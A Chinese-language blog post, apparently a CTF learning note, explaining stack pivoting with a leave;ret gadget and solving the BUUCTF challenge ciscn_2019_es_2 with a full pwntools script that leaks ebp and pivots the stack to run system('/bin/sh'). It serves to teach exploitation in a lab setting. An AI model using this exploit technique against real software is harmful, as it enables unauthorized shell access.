首页 > 其他分享 >pwn学习-栈迁移

pwn学习-栈迁移

时间:2024-06-13 18:33:06浏览次数:37  
标签:leave addr system ret 学习 ebp pwn 迁移 溢出

栈迁移:简单理解就是在栈溢出的时候可溢出的字符过少,只能溢出ebpret的地址,可以使用leave_ret这个gadget来实现栈的迁移。
在栈中,默认情况下汇编语言在栈结束的时候都默认会执行一次leaveret指令,我们利用这个特性将返回地址修改为leave_retgadget,将会执行两次leaveret的操作,将我们的栈迁移到ebp溢出指定的位置,执行想要执行的指令。

题目示例:

BUUCTF ciscn_2019_es_2

使用ida打开分析

main函数中调用了vul函数,该函数中read函数存在栈溢出,但是只能溢出8个字节,通过函数列表发现拥有一个hack函数调用了system,现在我们拥有了system的addr,但是溢出的空间并不能让我们手动的构造gadget获取shell

通过观察发现,该vul函数使用了printf输出s的内容,我们知道printf在输出字符串的时候遇到\x00才会结束,所以我们可以通过溢出,获取ebp的地址,在汇编的学习中,我们知道在栈中取值一般通过ebp - offset,所以我们的思路如下:

  1. 通过溢出在s的栈中没有\x00,让printf输出ebp的地址
  2. 通过溢出在s的栈中写入'aaaa' + system_addr + system_return + bin_sh_addr + '/bin/sh' + 垃圾字符 + s栈开始 + leave_ret

让我们站在程序的思路看一下发生了什么:

  1. 栈结束的时候,执行leaveret,这时会跳转到ebp保存的地址,也就是s栈开始
  2. 接着执行leave_ret我们在return_addr加入的gadget地址,这时会将栈迁移到s栈开始的位置,esp会指向栈的s栈开始 +4个字节,因为leave_ret相当于执行了mov esp,ebppop ebp,pop ebp的时候,在pop的时候,会将esp的值+4,所以我们需要在开头写入四个字节的aaaa
  3. 接着执行leave_ret中的ret指令,相当于pop eip,这时会将system_addr的地址读取到eipeip就是程序执行到哪里了,就会接着执行system函数
  4. system函数需要执行返回地址和参数,返回地址随便,参数为/bin/sh,由于程序中没有/bin/sh,我们执行程序的地址为s栈的开始 + 0x10,因为我们前面的'aaaa' + system_addr + system_return + bin_sh_addr相当于四条汇编指令,占用16个字节,接着往栈里写入/bin/sh,就可以成功执行system(/bin/sh),完美

理论成立,接着实践,如何获取s栈开始的地址呢?,ebp可以通过printf输出获取,如果使用ebp - offset来获取s栈开始的位置是一个问题,首先先使用脚本尝试printf溢出,获取ebp的地址

from pwn import *
context(log_level='debug')

p = process("./ciscn_2019_es_2")
# p = remote("node5.buuoj.cn",28942)
e = ELF("./ciscn_2019_es_2")

leave_ret = 0x08048562
system = e.sym['system']
p.recvuntil("Welcome, my friend. What's your name?")

payload1 = b"A" * 0x20 + b"B" * 0x8
p.send(payload1)


p.recvuntil(b"BBBBBBBB")
ebp = u32(p.recv(4))
log.success("ebp_addr: " + str(hex(ebp)))

p.interactive()

接着使用pwndbg调试查看ebp到栈顶的偏移

printf时发现栈顶到栈底的偏移为0x34,这里我们需要改为0x34 + 4,因为printf的参数'Hello, %s\n'也占用了四个字节

接着我们构造脚本,如下:

from pwn import *
context(log_level='debug')

p = process("./ciscn_2019_es_2")
# p = remote("node5.buuoj.cn",28942)
e = ELF("./ciscn_2019_es_2")

leave_ret = 0x08048562
system = e.sym['system']
p.recvuntil("Welcome, my friend. What's your name?")

payload1 = b"A" * 0x20 + b"B" * 0x8
p.send(payload1)


p.recvuntil(b"BBBBBBBB")
ebp = u32(p.recv(4))
log.success("ebp_addr: " + str(hex(ebp)))


payload2 = b"AAAA" + p32(system) + p32(0) + p32(ebp - 0x38 + 0x10) + b"/bin/sh"
payload2 = payload2.ljust(0x28,b"\x00") + p32(ebp - 0x38) + p32(leave_ret)
p.send(payload2)

p.interactive()

运行的到shell

标签:leave,addr,system,ret,学习,ebp,pwn,迁移,溢出
From: https://www.cnblogs.com/Junglezt/p/18246439

相关文章

  • CPN Tools学习——时间和队列【重要】
    -TimedColorSets时间颜色集-TokenStamps令牌时间戳-EventClock全局/事件/模拟时钟-TimeDelaysonTransitions过渡的时间延迟-ListColorSet列表颜色集-Queue排队1.时间颜色集在定时CPN模型令牌中有:(1)象征性的颜色(2)时间戳:时间戳是一个非负整数.句法:1`e@+表......
  • 机器学习项目--库存需求预测3--LSTM模型
    一、导入库和数据集代码环境:主要的包版本如下python==3.10scikit-learn==1.0.2tensorflow==2.15.0导入库importpandasaspdimportnumpyasnpfromkeras.modelsimportSequentialfromkeras.layersimportDense,LSTM,Dropoutfromkeras.regularizersimport......
  • 孩子上初中厌学怎么办?家长做好3件事,能让孩子爱上学习
    孩子上初中厌学www.zjia8.com会直接导致学习成绩下滑,甚至会染上很多不良习惯,成为危害社会的“不稳定因子”。而改变这种状况,不能只靠初中生个人,更多的要靠家长。如果家长能做好以下3件事,就有希望让孩子爱上学习。第一件事:找出原因,进行相应的调整初中是小学向高中......
  • 【esp32 学习笔记】 入门使用u8g2库(以OLED驱动芯片SSD1306为例)
    一、常用APIU8g2库提供了丰富的API,用于控制各种显示器并在屏幕上绘制文本、图形等元素。以下是U8g2库中一些常用的API:1.初始化-------U8G2U8G2(display,rotation,[,reset[,clock,data,cs,dc,reset,cs1,cs2,cs3]]) 初始化U8g2对象,其中display表示所使用的显示器......
  • CPU指令集学习——gather
    每次偏移int索引*scale个字节,每次取4字节。注意int索引是倒序的,如__m128i vindex有4个int索引,先取最后一个索引。举例:__m128i _mm_i32gather_epi32 (intconst* base_addr, __m128i vindex, constint scale)intint_array[8]={100,200,300,400,500,600,700,......
  • 跟着杨中科学习(六)EFCore(四)
    自引用的组织结构树classOrgUnit{publiclongId{get;set;}publiclong?ParentId{get;set;}publicstringName{get;set;}publicOrgUnit?Parent{get;set;}publicList<OrgUnit>Children{get;set;}=newList<OrgUnit&g......
  • 学习前端第二天之css
    1.CSS简介CSS的全称为:层叠样式表(CascadingStyleSheets)。CSS也是一种标记语言,用于给HTML结构设置样式,例如:文字大小、颜色、元素宽高等等。2.css的编写位置1行内样式(只能对当前标签起作用,对其他标签无效)<h1style="color:red;font-size:60px;">学习使人快......
  • Python 学习笔记
    第二章编程基础那点事2.6模块在Python用import或者from...import来导入相应的模块。一个模块就是一个文件,模块是保存代码的最小单位,在模块中可以声明变量、函数、属性和类等Python代码元素。将整个模块导入,格式为: importsomemodule 从某个模块中导入某个函数,格......
  • 学习前端第二天
    1.路径1)相对路径:以当前位置作为参考点,去建立路径。./:同一级/:下一级../:上一级2)绝对路径以根位置作为参考点,去建立路径。2.超链接主要作用:从当前页面进行跳转。可以实现:①跳转到指定页面、②跳转到指定文件(也可触发下载)、③跳转到锚点位置、④唤起指定应用。1.跳......
  • 机器学习策略篇:详解清除标注错误的数据(Cleaning up Incorrectly labeled data)
    清除标注错误的数据监督学习问题的数据由输入\(x\)和输出标签\(y\)构成,如果观察一下的数据,并发现有些输出标签\(y\)是错的。的数据有些标签是错的,是否值得花时间去修正这些标签呢?看看在猫分类问题中,图片是猫,\(y=1\);不是猫,\(y=0\)。所以假设看了一些数据样本,发现这(倒数第二......